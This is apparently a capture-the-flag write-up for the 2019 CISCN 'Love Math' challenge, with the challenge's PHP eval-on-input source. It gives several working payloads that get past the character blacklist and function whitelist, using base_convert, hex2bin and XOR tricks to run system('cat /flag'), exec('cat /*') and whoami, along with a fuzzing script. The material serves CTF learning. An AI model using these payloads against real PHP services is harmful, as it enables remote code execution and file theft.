2019CISCN-Love Math

https://writeup.owo.show/ciscn-2019
https://www.cnblogs.com/yesec/p/12664136.html
https://blog.csdn.net/qq_46263951/article/details/119240395

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
// preg_match_all()的作用是PHP中用来进行正则匹配的函数，会根据提供的模式在字符串中查找所有符合的内容，并将结果存储到一个数组中
// 这个正则表达式会匹配字符串中所有合法的 PHP 函数或变量名称（字母、数字、下划线以及一些特殊字符）。
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

要求：

• 字符串长度不超过80
• 字符在白名单中，并且不能出现黑名单上的字符

需要构造system(cat /flag)，使得c=($_GET[1])($_GET[2])
首先是转换得到hex2bin函数，由于存在x所以我们需要至少34进制

hex2bin从34进制转为16进制，得到26941962055，此时
base_convert(26941962055,10,34) = hex2bin

<?php
echo base_convert(26941962055,10,34); // hex2bin

_GET字符串转16进制得到5f474554，再转10进制得到1598506324

<?php
echo (base_convert(26941962055,10,34))(dechex(1598506324)); // 即hex2bin(5f474554) = _GET

接下来就是处理$符号，需要通过引用变量来触发，中括号不在名单中就用大括号

c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat /flag

除此之外的解法：
无参RCE中的getallheaders

?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
// exec(getallheaders(){1})

拼凑出system、exec等命令执行函数直接RCE---不过没有尝试成功

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析：exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析：system('cat'.dechex(16)^asinh^pi) => system('cat *')

flag在根目录下，所以用cat f*是不对的
按理来说应该用cat /*

"cat /*" 的16进制是636174202f2a
// 16进制转10进制：
echo base_convert("636174202f2a",16,10); // 109270211243818
故dechex(109270211243818) = "636174202f2a"
hex2bin(dechex(109270211243818)) = "cat /*";
故最后的payload:
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211243818)))
// 即
exec("cat /*");

通过异或得到函数名和命令，Mustapha Mond师傅的fuzz脚本：

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}
/*
作用是遍历$payload中的函数名，并尝试将每个函数名与数字组合，拼接起来得到我们想要的字符串，如_G、ET，这两个再拼接一下就得到_GET

*/

根据fuzz结果，得知：

mt_rand^23==>_G
tan^15==>ET
$pi=(mt_rand^(2).(3)).(tan^(1).(5)) 即 $pi=_GET
$pi=$$pi 即 $pi=$_GET
$pi{1}($pi{2}) 即$_GET{0}($_GET{1})

最后的payload

/index.php?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=whoami